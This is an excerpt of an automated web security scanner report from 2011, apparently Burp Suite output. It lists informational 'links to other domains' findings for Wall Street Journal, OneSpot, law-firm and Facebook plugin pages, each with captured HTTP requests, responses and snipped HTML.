<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
<noscript>
   <img src="http://ad.doubleclick.net/activity;src=966743;type=reale487;cat=reale514;ord=1?" width="1" height="1" border="0" alt=""/>
</noscript>
...[SNIP]...

19.126. http://online.wsj.com/static_html_files/onespot_js.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/static_html_files/onespot_js.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/static_html_files/onespot_js.html?v=1

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
http://embed.onespot.com/javascripts/nextclick/wsj/builder_template.min.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /static_html_files/onespot_js.html?v=1 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; s_cc=true; _chartbeat2=wh4hk9xmdxztvs8m; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; rsi_csl=; rsi_segs=; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_U.S.%252520Home_0_0_WH_0001_public%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/article/SB10001424052748703864204576321552255041680.html%25253Fmod%25253DWSJ_hp_LEFTTopSto%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:45 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:09:45 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 1383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta
...[SNIP]...
<body>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<script type="text/javascript" src="http://embed.onespot.com/javascripts/nextclick/wsj/builder_template.min.js"></script>
<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...

19.127. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The page was loaded from a URL containing a query string:

http://realestate.wsj.com/for-sale/us/10010?sid=56936

The response contains the following links to other domains:

http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR
http://bigcharts.marketwatch.com/
http://it-jobs.fins.com/?mod=WSJ_footer
http://online.barrons.com/home
http://online.barrons.com/public/main
http://sales-jobs.fins.com/?mod=WSJ_footer
http://the-acap.org/acap-enabled.php
http://vse.marketwatch.com/Game/Homepage.aspx
http://www.dj.com/
http://www.dowjones.com/Careers/Careers.htm
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline
http://www.feer.com/
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink
http://www.smartmoney.com/
http://www.wsj-asia.com/flp/about.html
http://www.wsjdigital.com/
http://www.wsjlocal.com/
http://www.wsjradio.com/
http://www.wsjwine.com/

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:46:25 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.2
ETag: "a84055fd48d2c1967baa16ce57a4c4bf"
X-Runtime: 708
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: _vanilla_ui_session=BAh7BzoPc2Vzc2lvbl9pZCIlZDRmY2Q2NmNjNGY5NjFiNDQ4NDVjZmQ5ZTAzYTE0ZmQ6EF9jc3JmX3Rva2VuIjF3Q0pEcFVlZWlGODc0SXNLNjBWZTh3czJ5amdVVCtkbTZGMERRRU5XaVNjPQ%3D%3D--4e41cb92b6674afbed61ead798f0d166d1333bd1; path=/; HttpOnly
ntCoent-Length: 132600
Status: 200
Cneonction: close
Content-Type: text/html; charset=utf-8
Content-Length: 132600

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
</li>
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
</li>
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
</li>
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link6"></a>
</li>
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link7"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1">
<a onclick="hat.track('BC')" href="http://bigcharts.marketwatch.com/">BigCharts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more2">
<a onclick="hat.track('VSE')" href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9">
<a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more10">
<a onclick="hat.track('FNO')" href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more13">
<a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/">About Dow Jones</a>
...[SNIP]...
<li><a href="http://www.dowjones.com/Careers/Careers.htm" rel="nofollow">Jobs at WSJ.com</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a class="icon_facebook" target="_blank" href="http://www.facebook.com/wsjonline">WSJ on Facebook</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink">Marketwatch.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://online.barrons.com/public/main">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/">SmartMoney.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://allthingsd.com/?reflink=DNH_EUR">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a></li><li><a rel="nofollow" href="http://bigcharts.marketwatch.com/">BigCharts.com</a>
...[SNIP]...
<li id="feerLink" style="display:none;"><a rel="nofollow" href="http://www.feer.com/">Far Eastern Economic Review</a>
...[SNIP]...
<li><a rel="nofollow" href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php" target="_blank"><span>
...[SNIP]...

19.128. http://realestate.wsj.com/item/822547 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The page was loaded from a URL containing a query string:

http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1

The response contains the following links to other domains:

http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR
http://bigcharts.marketwatch.com/
http://it-jobs.fins.com/?mod=WSJ_footer
http://online.barrons.com/home
http://online.barrons.com/public/main
http://sales-jobs.fins.com/?mod=WSJ_footer
http://the-acap.org/acap-enabled.php
http://vse.marketwatch.com/Game/Homepage.aspx
http://www.dj.com/
http://www.dowjones.com/Careers/Careers.htm
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline
http://www.feer.com/
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.halstead.com/detail.aspx?id=1801820
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink
http://www.smartmoney.com/
http://www.wsj-asia.com/flp/about.html
http://www.wsjdigital.com/
http://www.wsjlocal.com/
http://www.wsjradio.com/
http://www.wsjwine.com/

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:48:28 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.2
ETag: "91407e4ddcc753a9cb620ceb7e142c71"
X-Runtime: 178
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: _vanilla_ui_session=BAh7BzoPc2Vzc2lvbl9pZCIlMWJlN2U5NTA2ZjA1YmMyMzA4YjQwNTg1NjZhMTRkOTE6EF9jc3JmX3Rva2VuIjFaZENHYzV6UXpVWHU4OVFXOVRENWRtRnVVc2N4bUdpSVZ0eERiVGsrS0NrPQ%3D%3D--ac4298512308a102427d420d41ce51f58a11780e; path=/; HttpOnly
ntCoent-Length: 72038
Status: 200
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 72038

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
</li>
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
</li>
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
</li>
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link6"></a>
</li>
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link7"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1">
<a onclick="hat.track('BC')" href="http://bigcharts.marketwatch.com/">BigCharts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more2">
<a onclick="hat.track('VSE')" href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9">
<a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more10">
<a onclick="hat.track('FNO')" href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more13">
<a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<p><a href="http://www.halstead.com/detail.aspx?id=1801820" class="external_link" onclick="sendTracker('item_clickout', 'id=822547');window.open(this.href);return false;" rel="nofollow">Original Listing</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/">About Dow Jones</a>
...[SNIP]...
<li><a href="http://www.dowjones.com/Careers/Careers.htm" rel="nofollow">Jobs at WSJ.com</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a class="icon_facebook" target="_blank" href="http://www.facebook.com/wsjonline">WSJ on Facebook</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink">Marketwatch.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://online.barrons.com/public/main">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/">SmartMoney.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://allthingsd.com/?reflink=DNH_EUR">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a></li><li><a rel="nofollow" href="http://bigcharts.marketwatch.com/">BigCharts.com</a>
...[SNIP]...
<li id="feerLink" style="display:none;"><a rel="nofollow" href="http://www.feer.com/">Far Eastern Economic Review</a>
...[SNIP]...
<li><a rel="nofollow" href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php" target="_blank"><span>
...[SNIP]...

19.129. http://smartmoney.onespot.com/static/nextclick/content_exchange.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://smartmoney.onespot.com
Path:	/static/nextclick/content_exchange.html

Issue detail

The page was loaded from a URL containing a query string:

http://smartmoney.onespot.com/static/nextclick/content_exchange.html?layout=vertical

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
http://partner.googleadservices.com/gampad/google_service.js
http://use.typekit.com/uhh2the.js

Request

GET /static/nextclick/content_exchange.html?layout=vertical HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Age: 3883
Content-Type: text/html
Date: Sat, 14 May 2011 10:22:56 GMT
ETag: "1faa66c325ce36cef9a56435f800b228"
Last-Modified: Thu, 28 Apr 2011 23:02:42 GMT
Server: AmazonS3
Via: 1.1 varnish
x-amz-id-2: F+95VJYzgMQcMvFuBndSRyddMXF40hJPlCXRmMtY5dehlny9RoGChiIjsL5qSxae
x-amz-request-id: 10FED3E3AF485C26
X-Varnish: 1066830753 1066767248
Content-Length: 1422
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
<link rel="stylesheet" href="http://smartmoney.onespot.com/stylesheets/nextclick/style.min.css" type="text/css" />
<script type="text/javascript" src="http://use.typekit.com/uhh2the.js"></script>
<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
...[SNIP]...

19.130. http://www.dinse.com/news_events/in_the_news.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events/in_the_news.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.dinse.com/news_events/in_the_news.html?news_id=20586&year=2011&month=5

The response contains the following links to other domains:

http://c.statcounter.com/3927194/0/a65d8322/1/
http://www.statcounter.com/
http://www.statcounter.com/counter/counter.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:33:22 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:21 GMT; path=/
Content-Length: 25658

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - News & Events - In the News</title>
<meta http-equi
...[SNIP]...
</SCRIPT>

<SCRIPT src="http://www.statcounter.com/counter/counter.js" type=text/javascript></SCRIPT>
...[SNIP]...
<div class="statcounter"><a href="http://www.statcounter.com/" target="_blank"><img class="statcounter" src="http://c.statcounter.com/3927194/0/a65d8322/1/" alt="web analysis" ></a>
...[SNIP]...

19.131. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/161683_100001180845585_5237186_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/173507_549274581_7043011_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186050_516132782_7542802_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195557_568630388_5648452_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211946_1162921474_7332883_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/23102_100000074757537_2127_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41676_100001562333104_5920_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49298_653032831_7393151_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49865_100000094133975_7188_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/70773_652578950_4735269_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.132. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/161340_1736891671_8067063_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/161589_100001611827221_8038739_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/173910_528956513_3254332_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186286_100002055012310_4102878_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186478_1589216371_7816596_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187679_100000935620125_199020_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195425_641908337_7332071_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41668_1402698815_5251_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/50096_100001597046185_2627143_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.133. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/161340_1736891671_8067063_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186478_1589216371_7816596_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187679_100000935620125_199020_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187681_100001812303602_2813347_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195277_516132782_946715_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195425_641908337_7332071_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41676_100001562333104_5920_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48818_100000305828363_6513332_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48899_1376467583_1293419_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.134. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/161340_1736891671_8067063_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/173910_528956513_3254332_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/174506_714192333_8383371_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186050_516132782_7542802_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186478_1589216371_7816596_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187679_100000935620125_199020_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187681_100001812303602_2813347_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41676_100001562333104_5920_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48818_100000305828363_6513332_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
